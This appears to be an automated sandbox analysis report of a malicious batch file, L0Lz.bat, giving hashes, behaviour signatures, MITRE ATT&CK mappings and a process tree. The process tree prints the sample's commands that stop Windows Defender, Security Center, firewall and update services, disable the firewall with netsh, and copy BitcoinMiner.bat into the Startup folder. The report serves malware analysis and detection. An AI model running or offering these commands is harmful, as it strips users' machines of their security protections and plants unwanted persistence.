Analysis
- max time kernel
70s - max time network
66s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
07/11/2026, 22:08
Static task
static1
Behavioral task
behavioral1
Sample
L0Lz.bat
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
L0Lz.bat
Resource
win11ltsc2024-20260911-en
General
- Target L0Lz.bat
- Size 6KB
- Sample261107-12pgdsvyew
- SHA256 fc94130b45112bdf7fe64713eb807f4958cdcdb758c25605ad9318cd5a8e17ae
- MD5 74f8a282848b8a26ceafe1f438e358e0
- SHA1 007b350c49b71b47dfc8dff003980d5f8da32b3a
- SHA512 3f73c734432b7999116452e673d734aa3f5fe9005efa7285c76d28a98b4c5d2620e772f421e030401ad223abbb07c6d0e79b91aa97b7464cb21e3dc0b49c5a81
- SSDEEP 192:tlYUT1jLPD5mZkRr3TfLQ4/zus8joPRJRqU1jXEmo:tlY85XW
- TLSH T173E18C933D1AF621C89915C0CB68B301B106C0930DECAD8EA5B77075A16ACDBA27F7CD
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 3756 netsh.exe - Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat xcopy.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat xcopy.exe - Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3000 cmd.exe - Kills process with taskkill 1 IoCs
pid Process 3356 taskkill.exe - Runs net.exe
- Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3356 taskkill.exe - Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 3000 wrote to memory of 4112 3000 cmd.exe 87 PID 4112 wrote to memory of 1424 4112 net.exe 88 PID 3000 wrote to memory of 4664 3000 cmd.exe 89 PID 4664 wrote to memory of 4500 4664 net.exe 90 PID 3000 wrote to memory of 2464 3000 cmd.exe 91 PID 2464 wrote to memory of 788 2464 net.exe 92 PID 3000 wrote to memory of 3356 3000 cmd.exe 93 PID 3000 wrote to memory of 760 3000 cmd.exe 95 PID 760 wrote to memory of 4648 760 net.exe 96 PID 3000 wrote to memory of 4892 3000 cmd.exe 97 PID 4892 wrote to memory of 840 4892 net.exe 98 PID 3000 wrote to memory of 3756 3000 cmd.exe 99 PID 3000 wrote to memory of 4764 3000 cmd.exe 100 PID 4764 wrote to memory of 4772 4764 net.exe 101 PID 3000 wrote to memory of 3300 3000 cmd.exe 102 PID 3000 wrote to memory of 3912 3000 cmd.exe 103 PID 3000 wrote to memory of 2032 3000 cmd.exe 104 PID 3000 wrote to memory of 876 3000 cmd.exe 105
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\L0Lz.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3000 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:4112 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:1424
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C:\Windows\system32\net.exenet stop "SDRSVC"2⤵
- Suspicious use of WriteProcessMemory
PID:4664 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SDRSVC"3⤵PID:4500
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C:\Windows\system32\net.exenet stop "WinDefend"2⤵
- Suspicious use of WriteProcessMemory
PID:2464 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "WinDefend"3⤵PID:788
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C:\Windows\system32\taskkill.exetaskkill /f /t /im "MSASCui.exe"2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3356
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C:\Windows\system32\net.exenet stop "security center"2⤵
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "security center"3⤵PID:4648
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C:\Windows\system32\net.exenet stop sharedaccess2⤵
- Suspicious use of WriteProcessMemory
PID:4892 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sharedaccess3⤵PID:840
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C:\Windows\system32\netsh.exenetsh firewall set opmode mode-disable2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3756
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C:\Windows\system32\net.exenet stop "wuauserv"2⤵
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "wuauserv"3⤵PID:4772
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo tasklist "2⤵PID:3300
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C:\Windows\system32\find.exefind /I "L0Lz"2⤵PID:3912
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C:\Windows\system32\xcopy.exeXCOPY "BitcoinMiner.bat" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"2⤵
- Creates a file in the Startup directory
PID:2032
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C:\Windows\system32\xcopy.exeXCOPY "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat"2⤵PID:876
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\BitcoinMiner.bat
- Size 269B
- SHA256 a45d90c80db74841afc1658c8db4566288ff21f76f89f382cd3dc675fd783f2c
- MD5 f971f4ae767fafa564b3f9266027599a
- SHA1 df04f7017164d35943c959a057a8f24994724ba6
- SHA512 a459640d96a1abb5ee347171db77801c6e10fde2b2164288c3908c7cc5c472ed9e779993a5761c82fdc946867f1525993e75eee7112c211d1283a97d043f9bee
- TLSH T133D02B51114685B3D1602924A20F06992229F15F65E4A7640687504CE84656FE4B71E3
- MD5 SHA1 SHA512 TLSH